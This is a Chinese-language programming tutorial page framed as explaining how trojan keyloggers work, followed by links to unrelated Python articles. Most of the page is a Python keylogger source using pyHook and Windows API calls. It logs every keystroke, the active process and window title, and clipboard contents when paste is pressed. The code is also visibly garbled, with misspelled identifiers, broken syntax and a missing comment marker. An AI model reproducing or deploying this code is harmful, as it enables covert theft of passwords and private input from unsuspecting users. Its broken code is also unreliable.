Python告訴你木馬程序的鍵盤記錄原理
前言
Python keylogger鍵盤記錄的功能的實現(xiàn)主要利用了pythoncom及pythonhook,然后就是對windows API的各種調(diào)用。Python之所以用起來方便快捷,主要歸功于這些龐大的支持庫,正所謂"人生苦短,快用Python"。
# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#獲取最上層的窗句柄
hwnd = user32.GetForegroundWindow()
#獲取進程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#將進程ID存入變量中
process_ = "%d" % pid.value
#申請內(nèi)存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#讀取窗口標(biāo)題
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#關(guān)閉handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#關(guān)閉鍵盤監(jiān)聽事件函數(shù)
def KeyStroke(event):
global current_window
#檢測目標(biāo)窗口是否轉(zhuǎn)移(換了其他窗口就監(jiān)聽新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函數(shù)調(diào)用
get_current_process()
#檢測擊鍵是否常規(guī)按鍵(非組合鍵等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果發(fā)現(xiàn)ctrl + V事件,就粘貼板內(nèi)容記錄下來
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循環(huán)監(jiān)聽下一個事件
return True
#創(chuàng)建并注冊hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注冊hook并興趣
kl.hookKeyboard()
pythoncom.PumpMessages()
總結(jié)
以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,謝謝大家對腳本之家的支持。如果你想了解更多相關(guān)內(nèi)容請查看下面相關(guān)鏈接
相關(guān)文章
Python+tkinter制作經(jīng)典登錄界面和點擊事件
Tkinter是?Python?標(biāo)準(zhǔn)?GUI?庫,簡稱?“Tk”;從本質(zhì)上來說,它是對?TCL/TK?工具包的一種?Python?接口封裝。本文將利用tkinter制作一個經(jīng)典的登錄界面和點擊事件,需要的可以參考一下2022-09-09
opencv+pyQt5實現(xiàn)圖片閾值編輯器/尋色塊閾值利器
這篇文章主要介紹了opencv+pyQt5實現(xiàn)圖片閾值編輯器/尋色塊閾值利器,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-11-11
pycharm 2020.2.4 pip install Flask 報錯 Error:Non-zero exit co
這篇文章主要介紹了pycharm 2020.2.4 pip install Flask 報錯 Error:Non-zero exit code,本文給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-12-12
python Web開發(fā)你要理解的WSGI & uwsgi詳解
這篇文章主要給大家介紹了關(guān)于python Web開發(fā)你一定要理解的WSGI & uwsgi的相關(guān)資料,文中通過示例代碼介紹的非常詳細,需要的朋友可以參考借鑒,下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2018-08-08
Python IDE環(huán)境之 新版Pycharm安裝詳細教程
這篇文章主要介紹了Python IDE環(huán)境之 新版Pycharm安裝教程,本文教程給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-03-03
Python的Asyncore異步Socket模塊及實現(xiàn)端口轉(zhuǎn)發(fā)的例子
asyncore模塊是封裝過的處理socket事件的模塊,采用異步的處理方式,這里我們講來講解Python的Asyncore異步Socket模塊及實現(xiàn)端口轉(zhuǎn)發(fā)的例子,需要的朋友可以參考下2016-06-06

